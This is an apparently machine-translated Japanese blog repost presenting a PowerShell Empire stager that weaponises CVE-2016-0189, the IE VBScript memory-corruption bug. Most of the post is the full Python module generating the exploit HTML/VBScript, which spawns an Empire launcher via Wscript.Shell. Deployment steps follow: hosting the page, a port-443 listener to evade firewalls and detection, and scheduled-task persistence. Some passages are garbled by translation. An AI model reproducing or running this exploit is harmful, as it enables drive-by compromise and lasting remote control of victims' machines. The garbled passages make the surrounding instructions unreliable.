Powershell EmpireとCVE 2016-0189を利用してユーザーを攻撃するIEブラウザ.


前言
Empire(http://www.powershellempire.com/)エージェントツールは、暗号学、安全通信、柔軟なアーキテクチャ上に構築されたPowerShell後期の脆弱性である.Empireは、Powershell.exeを必要とせずにPowerShellエージェントを実行する機能を実現し、後期の脆弱性利用モジュールを迅速に配備し、ネットワーク検出を回避することができる.
したがって、Powershell Empireは私たちが一番好きなツールです.特にターゲットユーザが私たちの活動範囲内にいる時.私たちは通常MetasploitとEmpireの組み合わせを使って仕事を完成します.つまり、ブラウザの脆弱性とEmpire内の標準操作を組み合わせて行います.
しかし、最近のテストではMSFを使わずに、Empireの中の新しいstagerを使っています.このstagerは、脆弱性CVE-2016-0189(vbscript udmodともいいます.IEビューアのスクリプトエンジンの脆弱性です.)を利用してターゲットユーザのIEビューアを攻撃することができます.これは六ヶ月近く以来の優先利用です.そして最近はもうツールの開発を始めました.成功すれば、ハードディスクのデータが失われないようにパワーシェルを起動し、代わりにEmpireに接続することができます.
 
Powershell EmpireとCVE 2016-0189を利用してユーザーを攻撃するIEブラウザ.
以下はこの新しいstagerのPythonコードms 16 pyです.
from lib.common import helpers
  
class Stager:
  
    def __init__(self, mainMenu, params=[]):
  
        self.info = {
            'Name': 'MS16-051 IE RCE',
  
            'Author': ['www.cgsec.co.uk'],
  
            'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),
  
            'Comments': [
                'Target will have to open link with vulnerable version of IE.'
            ]
        }
  
        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'StagerRetries' : {
                'Description'   :   'Times for the stager to retry connecting.',
                'Required'      :   False,
                'Value'         :   '0'
            },
            'OutFile' : {
                'Description'   :   'File to output HTML to, otherwise displayed on the screen.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Base64' : {
                'Description'   :   'Switch. Base64 encode the powershell output.',
                'Required'      :   True,
                'Value'         :   'True'
            },           
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }
  
        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu
  
        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value
  
    def generate(self):
  
        # extract all of our options
        listenerName = self.options['Listener']['Value']
        base64 = self.options['Base64']['Value']
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']
  
        encode = False
        if base64.lower() == "true":
            encode = True
  
        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
  
        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
                            code =  "
" code += "
" code += "
" code += "
" code += "
" code += "
" code += " Dim aw
" code += " Dim plunge(32)
" code += " Dim y(32)
" code += " prefix = \"%u4141%u4141\"
" code += " d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"
" code += " b = String(64000, \"D\")
" code += " c = d & b
" code += " x = UnEscape(c)
" code += "
" code += " Class ArrayWrapper
" code += " Dim A()
" code += " Private Sub Class_Initialize
" code += " ReDim Preserve A(1, 2000)
" code += " End Sub
" code += "
" code += " Public Sub Resize()
" code += " ReDim Preserve A(1, 1)
" code += " End Sub
" code += " End Class
" code += "
" code += " Class Dummy
" code += " End Class
" code += "
" code += " Function getAddr (arg1, s)
" code += " aw = Null
" code += " Set aw = New ArrayWrapper
" code += "
" code += " For i = 0 To 32
" code += " Set plunge(i) = s
" code += " Next
" code += "
" code += " Set aw.A(arg1, 2) = s
" code += "
" code += " Dim addr
" code += " Dim i
" code += " For i = 0 To 31
" code += " If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
" code += " addr = strToInt(Mid(y(i), 3 + 4, 2))
" code += " End If
" code += " y(i) = Null
" code += " Next
" code += "
" code += " If addr = Null Then
" code += " document.location.href = document.location.href
" code += " Return
" code += " End If
" code += " getAddr = addr
" code += " End Function
" code += "
" code += " Function leakMem (arg1, addr)
" code += " d = prefix & \"%u0008%u4141%u4141%u4141\"
" code += " c = d & intToStr(addr) & b
" code += " x = UnEscape(c)
" code += "
" code += " aw = Null
" code += " Set aw = New ArrayWrapper
" code += "
" code += " Dim o
" code += " o = aw.A(arg1, 2)
" code += "
" code += " leakMem = o
" code += " End Function
" code += "
" code += " Sub overwrite (arg1, addr)
" code += " d = prefix & \"%u400C%u0000%u0000%u0000\"
" code += " c = d & intToStr(addr) & b
" code += " x = UnEscape(c)
" code += "
" code += " aw = Null
" code += " Set aw = New ArrayWrapper
" code += "
" code += "
" code += " aw.A(arg1, 2) = CSng(0)
" code += " End Sub
" code += "
" code += " Function exploit (arg1)
" code += " Dim addr
" code += " Dim csession
" code += " Dim olescript
" code += " Dim mem
" code += "
" code += "
" code += " Set dm = New Dummy
" code += "
" code += " addr = getAddr(arg1, dm)
" code += "
" code += " mem = leakMem(arg1, addr + 8)
" code += " csession = strToInt(Mid(mem, 3, 2))
" code += "
" code += " mem = leakMem(arg1, csession + 4)
" code += " olescript = strToInt(Mid(mem, 1, 2))
" code += " overwrite arg1, olescript + &H174
" code += " Set Object = CreateObject(\"Wscript.Shell\")
" code += " Object.run(\"" code += launcher + "\")
" code += " End Function
" code += "
" code += " Function triggerBug
" code += " aw.Resize()
" code += " Dim i
" code += " For i = 0 To 32
" code += " ' 24000x2 + 6 = 48006 bytes
" code += " y(i) = Mid(x, 1, 24000)
" code += " Next
" code += " End Function
" code += "

" code += "
" code += "
" code += " function strToInt(s)
" code += " {
" code += " return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
" code += " }
" code += " function intToStr(x)
" code += " {
" code += " return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
" code += " }
" code += " var o;
" code += " o = {\"valueOf\": function () {
" code += " triggerBug();
" code += " return 1;
" code += " }};
" code += " setTimeout(function() {exploit(o);}, 50);
" code += "

" code += "
" code += "" return code
次に、この新しい利用について簡単に紹介します.
まず、Empireを取得したいです.Githubからダウンロードできます.
https://github.com/PowerShellEmpire/Empire
 
次に、Apple 2をインストールする必要があります.インデックスページを直接ガイド/var/www/htmlすることができます.このステップは、ほとんどの人が出力を変更したいと思うかもしれないので、他の利用または検出から逃れるために選択されます.
その後、私達の新しいスターガーを追加して、それは/lib/stagersの下に位置して、Empireのinstall.shスクリプトを実行して起動して実行します.Ubuntuで操作する場合は、スクリプトを実行する前に手動でpipをインストールする必要があります.
前の準備をしてから、私達はEmpireを起動できます.
すべてが正常であれば、私たちは「stager ms 16」を使うことができるはずです.ここでは出力ファイルを簡単に/var/www/html/index.に設定して、このhtmlページに案内します.
いくつかの高級ユーザーは、異なるユーザのためにより複雑なサービスまたはドッジビリング検出メカニズムを確立したいと思うかもしれないが、これは本明細書の範囲を超えており、ここでは単なる紹介にすぎない.
また、ポート443に対するリスニング器も設置しています.いくつかのファイアウォールを回避し、いくつかの検出メカニズムを回避したいです.
最後に、脆弱性のあるCVE-2016-0189のIEブラウザを使ってサーバにアクセスすると、この利用がトリガされ、新しいEmpireエージェントが得られます.また、持続モジュールを使用して計画タスクを作成すると、再起動後にアクセス権限が失われないことを確認できます.これらは、プロキシを自動運転に設定することによって実現され得る.
最後に声明します.本文はただ利用の簡単な紹介を提供しました.安全な勉強だけに、不法使用を禁止します.
また、ユーザーに対しても、IEブラウザの脆弱性の修復を急ぐように注意し、マイクロソフトはCVE 2016-0189ホールの修復パッチを発表しました.
回転:http://www.milw0rm.cn/Article/hacker/20160918/414.html